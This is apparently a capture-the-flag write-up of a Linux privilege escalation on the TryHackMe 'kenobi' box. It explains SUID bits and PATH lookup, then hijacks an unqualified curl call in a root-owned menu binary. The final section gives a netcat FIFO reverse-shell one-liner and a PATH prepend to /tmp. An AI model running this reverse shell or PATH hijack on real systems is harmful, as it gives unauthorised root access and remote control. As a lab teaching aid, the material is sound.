To understand this priv esc technique it is first important to understand two file system permissions in Linux known as the SGID and SUID. SUID stands for Set owner User ID up on execution, and SGID stands for Set Group ID up on execution. A file with the SUID bit set will run as the owner of the file and not the inherited permissions of the user that runs the file. Similar with SGID only the file with run with the permissions of the group. So if a file is owned by root and has the SUID or SGID set the file with run as root.Files with the SUID bit set will have permissions with an S in the user execute field -rwsr-xr-x and files with the SGID bit set will have permissions with an S in the group execute field -rwxrwsr-x.

Path Variables

If you have ever ran a binary in linux using just the binary name and wondered how it knows where the file is located then your answer is “Path Variables”. When a binary is run without a full path, linux looks in the the location where all of the paths are stored. For example, say you run a binary called “run_me”. Linux will check its Path Variables to see if it can find a full path for “run_me” ie: /usr/bin/run_me. If the path is there the file will be ran using that path, else it will return a file not found error.

To check the path variables on your system run “env”. You will get a lot of different environment variables. The one we are concerned with for this post is PATH.


The PATH variables work in a first in first read basis. Meaning the first path read in the screenshot above will be /usr/local/sbin/. If the binary is not in there it will check /usr/local/bin and so on until it either locates the binary else throws and error.

Combining SUID with Paths Variables

The technique to gain root involves combining SUID files with their Path Variables. If a SUID file is using a Path Variable instead of supplying the full path then we can simply add our own binary in PATHS and when the SUID file executes it will read our binary from the PATHS variable and execute with super user privileges thus elevating us to root provided the binary is owned by root.

Finding SUID Binaries

To search the file system for SUID files run: 

find / -type f -perm -04000 -ls 2>/dev/null

Note: This post is using the box “kenobi” on tryhackme.


Note /usr/bin/menu is not part of the usual SUID binaries on linux. Also note that it is owned by root.

Enumerating the binary

Running the binary displays a menu with 3 options. Selecting item 1 displays some http header information about the webserver running on the system.

Linux comes with a program called “Strings” that is used to check binaries for string values within the code. Strings is a good tool to run on any binaries with super user permissions as it could reveal a potential vulnerability allowing privilege escalation


You can see from the output that strings has revealed what operating system commands are being used for each option. Option 1 is just curl with the -I flag to display http headers only. If you have been paying attention you will also notice that curl is not being run with a full path meaning it is getting the path from the path variables. What if we can create our own payload and name it curl and then put it in the path variables BEFORE the curl currently being executed?

Create the Payload and modify Paths

We can pretty much create any payload and have it execute as root from this point. I will be using my trusty reverse shell: 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f
Name the shell curl move it to /tmp/ and chmod it to 777. Next add a new Path with: export PATH=/tmp:$PATH Now we have our reverse shell named curl in the Path /tmp which is placed before the original curl file in /usr/bin/ so when the menu program executes option 1 it will execute the curl file from /tmp/.
Notice /tmp is first.

All that is left to do now is setup our listener and run the menu binary and select option 1.